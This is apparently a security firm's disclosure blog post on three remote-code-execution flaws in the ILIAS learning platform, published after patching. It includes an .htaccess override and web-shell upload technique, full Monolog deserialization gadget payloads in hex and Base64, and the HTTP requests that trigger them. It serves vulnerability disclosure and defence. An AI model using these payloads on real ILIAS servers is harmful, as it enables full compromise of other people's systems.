https://srlabs.de/blog/breaking-ilias-part-2-three-to-rce
Skip to main content
SRLabs -- Home
* Research
* Capabilities
* Company
Get help now -- 24/7 IR
Back
Exploit DevelopmentVulnerability Disclosure
2026-01-23 * 11 minute read
Breaking ILIAS #2: Three to RCE
Photo of Rene Rehme
Rene Rehme @rene-rehme
Hacker
Breaking ILIAS #2: Three paths towards RCE
We describe three previously unknown vulnerabilities enabling remote
code execution (RCE) in versions 8, 9, and 10 of the widely used
learning management system ILIAS.
We reported the vulnerabilities through our responsible disclosure
process.
With patches now in place, we can share the details here.
Background
In the first blog post of our little ILIAS series, we describe how we
uncovered and exploited a stored cross-site scripting (XSS)
vulnerability to obtain administrative privileges and RCE in a recent
red team engagement.
Today's walkthrough
We explore similar vulnerabilities, all of which lead to RCE. First,
we discuss an unauthenticated RCE exploiting the course certification
import functionality, which is often found in public spaces of ILIAS
instances. Next, we describe two authenticated remote-code-execution
vulnerabilities caused by insecure deserialization. Both can be
exploited by authorized users and often do not require full
administrative rights.
1. Unauthenticated RCE (CVE-2025-11344)
Prerequisites. Exploitation requires public access to objects which
support ILIAS' certificate functionality. An ILIAS ,,certificate" can
be issued for achievements such as course completion. To avoid
confusion with X.509 certificates, we also use the term ,,course
certificate" in this blog post.
The following object types are affected:
* Test (cmdNode: qx)
* Course (cmdNode: lv)
These objects, when placed in the public section of ILIAS, allow any
user with read access (including unauthenticated guests) to interact
with the certification editor functionality.
The ,,Exercise" object shared this vulnerability in the tested
v10-beta3, but it was since patched by enforcing a stricter access
control in this commit: $this->checkPermission("write")
However, the stable release only enforces $this->checkPermission
("read") for other object types. Read permissions are typically
granted in public contexts.
Upload arbitrary files to the web server
We start our analysis with the ilCertificateGUI class, which handles
certification configuration and export. Due to improper access
control in the route processing logic, we are able to directly call
actions like certificateEditor() and certificateExportFO() without
authentication.
These methods are meant to be available only to users with editing
rights (which would normally be course or exercise administrators).
However, because the upstream controllers (ilRepositoryGUI ->
ilObjTestGUI) do not enforce proper checks, we can reach the
certification upload functionality without restrictions.
The certification editor includes a feature to import course
certificate templates as ZIP files. This is an intended and valid
functionality to enable customization. The uploaded ZIP gets
extracted and parsed by ilXlsFoParser(), which expects a specific XML
format inside the archive.
Playing around, we notice something unusual: When the uploaded ZIP
lacks the expected structure, the parser throws an exception when the
expected XML file cannot be found.
The critical detail is that this exception is unhandled. As a result,
the cleanup routine, specifically the unlink() call that removes the
unzipped files from disk, is never executed. This leaves all
extracted files in a web-accessible subdirectory under /data/.
When we upload a .zip archive containing a .php script, upload and
extraction succeed, but direct execution of our new .php file is not
possible because all files under the /data/ directory are protected
by a global .htaccess file located in the ILIAS /public/ folder,
which is configured as our web server's DocumentRoot. It contains the
following directive:
RewriteEngine on
RewriteRule ^data/.*/.*/.*$ wac.php [L]
This rule rewrites any requests to /data/.*/.*/.* so they are handled
by wac.php, which in turn calls ilWebAccessCheckerDelivery::run() to
perform access control checks. If access is permitted, the file is
served with headers like Content-Disposition: attachment or inline to
ensure it's treated as a download and hasn't become executable. This
is an intentional safeguard to prevent arbitrary code execution, even
if a .php file somehow makes its way into a subdirectory of /data/.
Change .htaccess directives
Take note of the [L] flag in the .htaccess definition. It is a common
misconception that this flag would prevent any further rewriting
altogether. In fact, [L] only stops that set of rewrite rules from
continuing. This is a crucial detail, as it does not prevent Apache
from continuing the directory walk or parsing other .htaccess files
in subdirectories.
This enables us to define more hacker-friendly directives wherever we
can create .htaccess files. So we include our own .htaccess file
inside the zip file and give the web server a simple new directive:
RewriteEngine On
RewriteRule ^$ . [L]
AddType application/x-httpd-php .sec
Once the ZIP is extracted, this .htaccess file lands inside the same
subfolder in /data/ as our PHP payload. Apache now encounters and
respects multiple .htaccess files: The first one at the DocumentRoot
and our new one inside the extracted directory. Our new specific
directives for this subdirectory overrule those specified in the
parent folders.
Enabling RewriteEngine "disables" the original rewrite rule,
preventing Apache from routing requests through wac.php. We then
instruct the web server to treat .sec files as PHP executables using
the directive: AddType application/x-httpd-php .sec. As a result, a
.sec file is now interpreted and executed by the server as a PHP
file.
Why is the .sec extension necessary at all?
In an ILIAS basic installation the custom file extension might
not be necessary. However, if operators apply recommended
security hardening, Apache configurations following security
advisories may deny direct access to .php files located in /data/
* at host-level configuration. By using a custom extension, we
preemptively circumvent such a restriction.
We have now bypassed the global rewrite protections and enabled full
code execution by adding a custom .htaccess file to the ZIP file, and
thus the extraction subfolder insider /data/.
We upload a ZIP archive containing a folder named rce with the
following files:
* a.sec: a simple PHP web shell ()
* .htaccess: the overriding configuration described above
Once uploaded, we need to locate the exact path the ZIP contents were
extracted to. ILIAS dynamically generates custom paths during the
course certificate import process. In our case, the resulting paths
follow this pattern:
/data/[client_id]/assessment/certificates/[upload_id]/[timestamp]
__0__[object_type]__[upload_id]__certificate/rce/a.sec
Despite the path's dynamic nature, we are able to reconstruct it, as
all components are either deterministic, accessible by the client or
easily guessable. Here's how we obtain each component:
* client_id can be found in the ilClientId cookie set by ILIAS
during session initialization.
* upload_id would be exposed to authenticated in users in a
JavaScript. However, this is not the case for unauthenticated
users, so we need to find a workaround. Looking at the execution
flow we notice that any method in the related class can be
invoked directly. Conveniently, there's a method named
certificateExportFO(). By setting its name as the value of the
cmd URL parameter we can directly invoke it and trigger a 302
redirect initiating a file download. The filename in the
Content-Disposition header includes upload_id, which we extract
using the following regular expression: __([a-zA-Z0-9]{3})__(\d+)
__. This allows us to recover the necessary ID for any publicly
accessible and vulnerable object type.
* timestamp is generated using PHP's time() function at the moment
the foldername is generated right after upload. Because this
happens just milliseconds after the upload request, we can
identify the value by iterating through a small time window.
* object_type is a short identifier representing the ILIAS object
type, determined using the ref_id in the URL. In our case, the
object is TestObject, so the type is tst.
Putting it all together, the final path may look like this:
/data/myilias/assessment/certificates/415/
1753256753__0__tst__415__certificate/rce/a.sec
A GET request to that URL with a ?c= query parameter
confirms successful remote code execution, returning the command's
output.
CVE-2025-11344 - PoC Exploit
exploit Figure 1: Proof of concept (PoC) execution of id via RCE.
Full exploit source code is not published for reasons
Summing up, this RCE vulnerability is results from a combination of
overlooked security issues:
* Inadequate access control checks in the class chain leading to
course certificate-related actions
* Uncaught exceptions on ZIP and XML parsing logic prevent cleanup
of extracted files
* Insufficient checks on the extracted zip contents allow us to
place an .htaccess file
* .htaccess inheritance allows us to override directives for
subfolders
Impact: Complete server compromise with no authentication required if
one of the two object types ,,Test" or ,,Course" is exposed in a public
area.
2. Authenticated RCE (CVE-2025-11345)
File uploads during import in ILIAS are handled by several adapters
defined for different import models in class.ilImport.php. The
adapter first extracts the uploaded ZIP file and processes the
accompanying XML. During this process, importXmlRepresentation reads
the extracted XML, which is then passed into
importRandomQuestionSetConfig and reaches an unserialize() call in
class.ilObjTestXMLParser.
Insecure deserialization. The use of unserialize() alone does not
inherently result in RCE. However, passing attacker-controlled input
to this function without restricting allowed_classes via the options
parameter often enables undesired behavior. The PHP documentation
also highlights that object instantiation and autoloading in such
scenarios can lead to code execution.
Magic functions. unserialize() becomes a problem when so-called magic
functions are available, which override PHP default behavior for
certain actions on the object especially around its lifecycle
(creation, destruction but also serialization and deserialization).
If the application contains any class definition that contains a
magic function that executes code based on attacker-controllable
class fields, we can achieve RCE.
Composer-based PHP applications frequently include third-party
packages that contain such classes with exploitable magic methods
simply due to a large dependency footprint. To assess this risk in
ILIAS, we examine all dependencies and stumble across the inclusion
of Monolog, a commonly used logging library.
We construct a Monolog-specific payload using PHARGGC, a tool
specialized in constructing gadget chains for PHP unserialize(). The
payload leverages a combination of FingersCrossedHandler and
GroupHandler to achieve code execution. For demonstration purposes,
the payload below executes the following command: echo 'SRLabs was
here' > /tmp/__PWNED__
To ensure reliable execution, we hex-encode the fields in order to
replace raw \0 characters that would otherwise disrupt parsing. The
final payload is:
O:37:"Monolog\Handler\FingersCrossedHandler":3:{S:16:"\00\2a\00\70\61\73\73\74\68\72\75\4c\65\76\65\6c";i:0;S:9:"\00\2a\00\62\75\66\66\65\72";a:1:{S:4:"\74\65\73\74";a:2:{i:0;S:39:"\65\63\68\6f\20\27\53\52\4c\61\62\73\20\77\61\73\20\68\65\72\65\27\20\3e\20\2f\74\6d\70\2f\5f\5f\50\57\4e\45\44\5f\5f";S:5:"\6c\65\76\65\6c";N;}}S:10:"\00\2a\00\68\61\6e\64\6c\65\72";O:28:"Monolog\Handler\GroupHandler":1:{S:13:"\00\2a\00\70\72\6f\63\65\73\73\6f\72\73";a:2:{i:0;S:7:"\63\75\72\72\65\6e\74";i:1;S:6:"\73\79\73\74\65\6d";}}}
We embed the payload in the following XML structure to trigger the
unserialize call for the taxFilter field of
RandomQuestionSelectionDefinition:
When the payload is embedded in a valid ILIAS import archive,
uploading it through the import endpoint results in RCE. The request
below illustrates the process:
POST /ilias.php?baseClass=importuploadhandlergui&cmd=upload HTTP/1.1
Host: lab1.local
X-Requested-With: XMLHttpRequest
Accept: application/json
Content-Type: multipart/form-data; boundary=----ABC
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Origin: http://lab1.local
Referer: http://lab1.local/ilias.php?baseClass=ilrepositorygui&cmdNode=wr:pp&cmdClass=ilObjRootFolderGUI&cmd=render&ref_id=1
Accept-Encoding: gzip, deflate, br
Cookie: ilClientId=myilias; PHPSESSID=8tjnfk65opmcrpkgqfijqfrg2i;
Connection: keep-alive
------ABC
Content-Disposition: form-data; name="file"; filename="1757316449__0__tst_326.zip"
Content-Type: application/zip
------ABC--
Impact: Complete server compromise for authenticated users with
permission to use the described import functionality -- typically
course administrators or similar roles.
3. Authenticated RCE (CVE-2025-11346)
A third RCE related to insecure deserialization affects the
f_settings URL parameter. This is especially interesting as we do not
need to prepare any file input. We can simply pass our command as
part of the request. Exploitation works in a similar way as above,
but the serialized string can be directly encoded in Base64 without
the need to wrap it in XML:
POST /ilias.php?baseClass=ilrepositorygui&cmdNode=wr:qx:1l&cmdClass=ilias\test\settings\scorereporting\settingsscoringgui&cmd=cancelSaveForm&ref_id=102&ref_id=104 HTTP/1.1
Host: lab1.local
Cookie: ilClientId=myilias; PHPSESSID=8tjnfk65opmcrpkgqfijqfrg2i
Content-Type: application/x-www-form-urlencoded
f_settings=TzozNzoiTW9ub2xvZ1xIYW5kbGVyXEZpbmdlcnNDcm9zc2VkSGFuZGxlciI6Mzp7UzoxNjoiXDAwXDJhXDAwXDcwXDYxXDczXDczXDc0XDY4XDcyXDc1XDRjXDY1XDc2XDY1XDZjIjtpOjA7Uzo5OiJcMDBcMmFcMDBcNjJcNzVcNjZcNjZcNjVcNzIiO2E6MTp7Uzo0OiJcNzRcNjVcNzNcNzQiO2E6Mjp7aTowO1M6Mzk6Ilw2NVw2M1w2OFw2ZlwyMFwyN1w1M1w1Mlw0Y1w2MVw2Mlw3M1wyMFw3N1w2MVw3M1wyMFw2OFw2NVw3Mlw2NVwyN1wyMFwzZVwyMFwyZlw3NFw2ZFw3MFwyZlw1Zlw1Zlw1MFw1N1w0ZVw0NVw0NFw1Zlw1ZiI7Uzo1OiJcNmNcNjVcNzZcNjVcNmMiO047fX1TOjEwOiJcMDBcMmFcMDBcNjhcNjFcNmVcNjRcNmNcNjVcNzIiO086Mjg6Ik1vbm9sb2dcSGFuZGxlclxHcm91cEhhbmRsZXIiOjE6e1M6MTM6IlwwMFwyYVwwMFw3MFw3Mlw2Zlw2M1w2NVw3M1w3M1w2Zlw3Mlw3MyI7YToyOntpOjA7Uzo3OiJcNjNcNzVcNzJcNzJcNjVcNmVcNzQiO2k6MTtTOjY6Ilw3M1w3OVw3M1w3NFw2NVw2ZCI7fX19
Supplied input is passed directly to the getRelayedRequest() method,
where it is Base64-decoded and then deserialized:
private function getRelayedRequest(): Request
{
return unserialize(
base64_decode(
$this->request->getParsedBody()[self::F_CONFIRM_SETTINGS]
)
);
}
This simple flow enables direct execution of attacker-controlled
payloads, resulting in RCE for authenticated users.
request Figure 2: Proof of concept (PoC) execution impact Figure 3: A
file named __PWNED__ was created.
Impact: Complete server compromise for authenticated users with
permission to call ScoreReportingGUI endpoints that take the
f_settings parameter.
Conclusion
ILIAS is a versatile and correspondingly complex platform. With about
1.2 million lines of PHP code, decades of features, and a broad
plugin ecosystem, it's no surprise that subtle edge cases can lead to
serious security vulnerabilities.
None of this makes ILIAS a ,,bad choice" for eLearning per se. It's
open source, widely deployed, and backed by an active community.
Nonetheless, operators need to treat ILIAS like any other critical
application and apply security updates promptly: Track advisories,
patch within standard change windows and prepare an expedited path
for RCEs, keep extensions lean and current, and avoid falling behind
for multiple minor versions.
Security Research Labs engages in a broad range of offensive and
defensive IT security consulting such as red teaming, code audits and
strategic security assessments. If this kind of work excites you, we
are hiring!
This blog post is the second part of a two-part series on security
vulnerabilities in ILIAS:
* Breaking ILIAS #1: From Open Redirect to Admin
* Breaking ILIAS #2: Three Ways to RCE
Responsible Disclosure
As per standard practice, we disclosed all identified vulnerabilities
to the vendor before publishing this blog post. The full disclosure
timeline is provided below.
* 2025-07-24: Discovered RCE #1 and #2
* 2025-08-25: Discovered RCE #3. Creating PoC and writeup
* 2025-09-03: Requested CVE IDs
* 2025-09-08: Notified vendor
* 2025-09-15: Vendor verified vulnerabilities
* 2025-09-23: Initial patches releases (8.24, 9.14, 10.2)
* 2025-09-25: Unauth RCE Fix bypass discovered
* 2025-09-26: Vendor notified
* 2025-08-29: CVE ID requested for unauthenticated RCE
vulnerability bypass.
* 2025-09-06: CVE IDs assigned (CVE-2025-11344, CVE-2025-11345,
CVE-2025-11346)
* 2025-09-07: Requested a CNA score update because the current CVSS
5.1 for CVE-2025-11344 is incorrect and understates the impact of
an unauthenticated RCE vulnerability *
* 2025-09-23: Patches released (8.25, 9.15, 10.3)
* 2026-01-23: Publication of this blog post and CVE IDs
* 2026-01-23: Request for update published CVE on MITRE
[* We also contacted the vendor regarding the CVSS rating, which
appears to have been assigned arbitrarily without a transparent
scoring matrix or justification. Unfortunately, we did not receive a
response. This lack of transparency creates a significant issue for
software operators, as the true severity of the vulnerability cannot
be reliably assessed based on the CVE entry. As a result, there is a
risk that affected systems were not updated in a timely manner due to
the misleadingly low severity rating.]
Advisories and release notes
* https://github.com/ILIAS-eLearning/ILIAS/releases/tag/v10.2
* https://github.com/ILIAS-eLearning/ILIAS/releases/tag/v10.3
* https://github.com/ILIAS-eLearning/ILIAS/releases/tag/v9.14
* https://github.com/ILIAS-eLearning/ILIAS/releases/tag/v9.15
* https://github.com/ILIAS-eLearning/ILIAS/releases/tag/v8.24
* https://github.com/ILIAS-eLearning/ILIAS/releases/tag/v8.25
Researchers involved
Daniel Kohler, Florian Wilkens, Rachna Shriwas, Rene Rehme, Mahmoud
Anas Khalifa
Registration: HRB 128449
District court: Berlin-Charlottenburg
EU-VAT: DE 368 141 458
Managing director: Dr. Wolf Richter
Security Research Labs GmbH
Revaler Strasse 29, 10245 Berlin
Privacy policy
Consulting
* Telco Security
* Security Maturity Review
* Security Team Incubation
* Red Teaming
* Device Testing
* Software Assurance
* Vulnerability Prioritization
* Incident Response
Company
* Research
* About
* Careers
Social media
* LinkedIn
* X
* Mastodon
Open source
* Github
Contact us
hello@srlabs.de
Security Research Labs is a member of the Allurity family. Learn More
(opens in a new tab)